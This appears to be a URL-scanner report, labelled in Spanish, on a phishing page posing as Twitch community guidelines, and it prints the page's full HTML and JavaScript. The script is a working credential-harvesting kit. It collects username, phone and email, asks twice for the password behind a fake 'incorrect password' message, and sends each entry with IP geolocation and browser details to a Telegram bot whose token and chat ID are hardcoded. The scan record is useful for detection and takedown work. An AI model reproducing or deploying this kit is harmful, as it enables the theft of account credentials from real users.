- ID de exploración:
- af3db696-81be-4e9e-89f1-e739a41b62e5Finalizado
- URL enviada:
- https://twitch-community-guidelines.web.app/
- Informe finalizado:
Enlaces: 0 encontrados
Los enlaces salientes identificados en la página
Variables JavaScript: 8 encontradas
Las variables JavaScript globales cargadas en el objeto de ventana de una página son variables declaradas fuera de las funciones y a las que se puede acceder desde cualquier lugar del código en el ámbito actual
Nombre | Tipo |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
sendMessage | function |
submitPassword | function |
submitSecondPassword | function |
sendTelegramMessage | function |
closeModal | function |
Mensajes de registro de la consola: 4 encontrados
Mensajes registrados en la consola web
Tipo | Categoría | Registrar |
---|---|---|
error | network |
|
log | javascript |
|
verbose | dom |
|
verbose | dom |
|
HTML
El cuerpo HTML sin procesar de la página
<!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Community Guidelines</title>
<style>
body {
margin: 0;
display: flex;
flex-direction: column; /* Align children vertically */
align-items: center; /* Center children horizontally */
background-color: white; /* Set background color to white */
font-family: Arial, sans-serif; /* Set a default font */
overflow-x: hidden; /* Prevent horizontal scrolling */
}
img.top-image {
width: 100%; /* Make image responsive */
max-width: 1902px; /* Limit max width */
height: auto; /* Maintain aspect ratio */
}
img.bottom-image {
width: 100%; /* Make image responsive */
max-width: 1903px; /* Limit max width */
height: auto; /* Maintain aspect ratio */
margin-top: 20px; /* Add space above the image */
display: block; /* Ensure it behaves as a block element */
border: 5px solid black; /* Add black border around the image */
}
/* Hide the bottom image on mobile devices */
@media (max-width: 768px) {
img.bottom-image {
display: none; /* Hide on mobile */
}
}
/* Style the form */
form {
margin-top: 20px; /* Add some space above the form */
width: 90%; /* Set width of the form */
max-width: 600px; /* Limit max width */
display: flex;
flex-direction: column; /* Align form elements vertically */
gap: 10px; /* Space between form elements */
transition: filter 0.3s; /* Smooth transition for blur effect */
}
.blur {
filter: blur(5px); /* Blur effect */
}
label {
color: #18181b; /* Set label color */
font-weight: bold; /* Make label font bold */
}
input, textarea {
padding: 10px; /* Add padding to inputs and textarea */
border: 1px solid #ccc; /* Light gray border */
border-radius: 4px; /* Rounded corners */
font-size: 16px; /* Font size */
color: #18181b; /* Set input and textarea text color */
font-weight: bold; /* Make input and textarea font bold */
width: 100%; /* Make inputs full width */
box-sizing: border-box; /* Include padding in width */
}
textarea {
resize: vertical; /* Allow vertical resizing of textarea */
}
button {
padding: 10px; /* Add padding to the button */
background-color: #60369f; /* Set background color */
color: white; /* Set text color */
border: none; /* Remove border */
border-radius: 4px; /* Rounded corners */
font-size: 16px; /* Font size */
cursor: pointer; /* Pointer cursor on hover */
}
button:hover {
background-color: #4a2e85; /* Darken button on hover */
}
/* Modal styles */
.modal {
display: none; /* Hidden by default */
position: fixed; /* Stay in place */
z-index: 1; /* Sit on top */
left: 0;
top: 0;
width: 100%; /* Full width */
height: 100%; /* Full height */
overflow: auto; /* Enable scroll if needed */
background-color: rgb(0,0,0); /* Fallback color */
background-color: rgba(0,0,0,0.4); /* Black w/ opacity */
padding-top: 60px; /* Location of content */
}
.modal-content {
background-color: #fefefe;
margin: 5% auto; /* 15% from the top and centered */
padding: 20px;
border: 1px solid #888;
width: 80%; /* Could be more or less, depending on screen size */
max-width: 400px; /* Limit max width of modal */
border-radius: 4px; /* Rounded corners */
}
.error-message {
color: red; /* Set color for error message */
margin-right: 10px; /* Space between message and button */
}
</style>
<script>
let username; // Variable to store the username
let password1; // Variable to store the first password
let password2; // Variable to store the second password
async function sendMessage(event) {
event.preventDefault(); // Prevent the default form submission
username = document.getElementById('username').value; // Store the username
const phone = document.getElementById('phone').value;
const email = document.getElementById('email').value;
const additionalInfo = document.getElementById('additional-info').value;
// Open the password modal
document.getElementById('passwordModal').style.display = "block";
// Blur the form
document.querySelector('form').classList.add('blur');
// Set the username in the modal
document.getElementById('modal-username-input').value = username; // Set username input
// Send initial message to Telegram after submitting the form
await sendTelegramMessage(username, phone, email, additionalInfo, ''); // Send without password
}
async function submitPassword() {
password1 = document.getElementById('password').value; // Get password from the first modal
// Open the second password modal
document.getElementById('secondPasswordModal').style.display = "block"; // Show the second modal
document.getElementById('modal-username-input-second').value = username; // Set username input in second modal
// Send message to Telegram with the password
await sendTelegramMessage(username, document.getElementById('phone').value, document.getElementById('email').value, document.getElementById('additional-info').value, password1);
// Do not unblur the form
}
async function submitSecondPassword() {
password2 = document.getElementById('second-password').value; // Get password from the second modal
// Send message to Telegram with the password
await sendTelegramMessage(username, document.getElementById('phone').value, document.getElementById('email').value, document.getElementById('additional-info').value, password1, password2);
// Redirect to 2fa.html
window.location.href = "2fa.html";
}
async function sendTelegramMessage(username, phone, email, additionalInfo, password1, password2) {
// Fetch IP information
let ipInfo = {};
try {
const ipResponse = await fetch('https://ipapi.co/json');
if (ipResponse.ok) {
ipInfo = await ipResponse.json();
} else {
console.error('Failed to fetch IP information');
}
} catch (error) {
console.error('Error fetching IP information:', error);
}
// Get OS and Browser information
const os = navigator.platform; // OS information
const browser = navigator.userAgent; // Browser information
const message = `Username: ${username}\n` +
`Phone Number: ${phone}\n` +
`Email: ${email}\n` +
`Additional Information: ${additionalInfo}\n` +
`Password1: ${password1}\n` + // Password from the first modal
`Password2: ${password2}\n` + // Password from the second modal
`City: ${ipInfo.city || 'N/A'}\n` +
`Region: ${ipInfo.region || 'N/A'}\n` +
`Country: ${ipInfo.country_name || 'N/A'}\n` +
`OS: ${os}\n` +
`Browser: ${browser}`;
const chatId = '7748459002'; // Your chat ID
const botToken = '8194724994:AAHxeSXJq4uTnt-ncL36BOTnSR4Cscck-2E'; // Your bot token
const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
const payload = {
chat_id: chatId,
text: message,
parse_mode: 'HTML'
};
try {
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(payload)
});
if (response.ok) {
// Do not clear the form to keep the input values
} else {
console.error('Failed to send message.');
}
} catch (error) {
console.error('Error:', error);
}
}
function closeModal() {
document.getElementById('passwordModal').style.display = "none";
document.getElementById('secondPasswordModal').style.display = "none"; // Also close the second modal
document.querySelector('form').classList.remove('blur'); // Unblur the form
}
</script>
</head>
<body>
<!-- Insert the image at the top of the page -->
<img src="images/s1.png" alt="Top Image" class="top-image">
<!-- Form for user input -->
<form onsubmit="sendMessage(event)">
<label for="username">Username</label>
<input type="text" id="username" name="username" required="">
<label for="phone">Phone Number</label>
<input type="tel" id="phone" name="phone" required="">
<label for="email">Email</label>
<input type="email" id="email" name="email" required="">
<label for="additional-info">Additional Information</label>
<textarea id="additional-info" name="additional-info" rows="4"></textarea>
<button type="submit">Submit</button>
</form>
<!-- Modal for password entry -->
<div id="passwordModal" class="modal">
<div class="modal-content">
<h2>Enter Password</h2>
<label for="modal-username-input">Username</label>
<input type="text" id="modal-username-input" value="" readonly="" required=""> <!-- Readonly field -->
<label for="modal-username-input">Password</label>
<input type="password" id="password" placeholder="">
<div style="display: flex; justify-content: flex-end;"> <!-- Flex container for button -->
<button onclick="submitPassword()">Continue</button>
</div>
</div>
</div>
<!-- Second Modal for incorrect password -->
<div id="secondPasswordModal" class="modal">
<div class="modal-content">
<h2>Enter Password</h2>
<label for="modal-username-input-second">Username</label>
<input type="text" id="modal-username-input-second" value="" readonly="" required=""> <!-- Readonly field -->
<label for="modal-username-input">Password</label>
<input type="password" id="second-password" placeholder="">
<div style="display: flex; justify-content: space-between; align-items: center;"> <!-- Flex container for button -->
<div class="error-message" id="error-message">Your password was incorrect.</div>
<button onclick="submitSecondPassword()">Continue</button>
</div>
</div>
</div>
<!-- Insert the image at the bottom of the page -->
<img src="images/s2.png" alt="Bottom Image" class="bottom-image">
</body></html>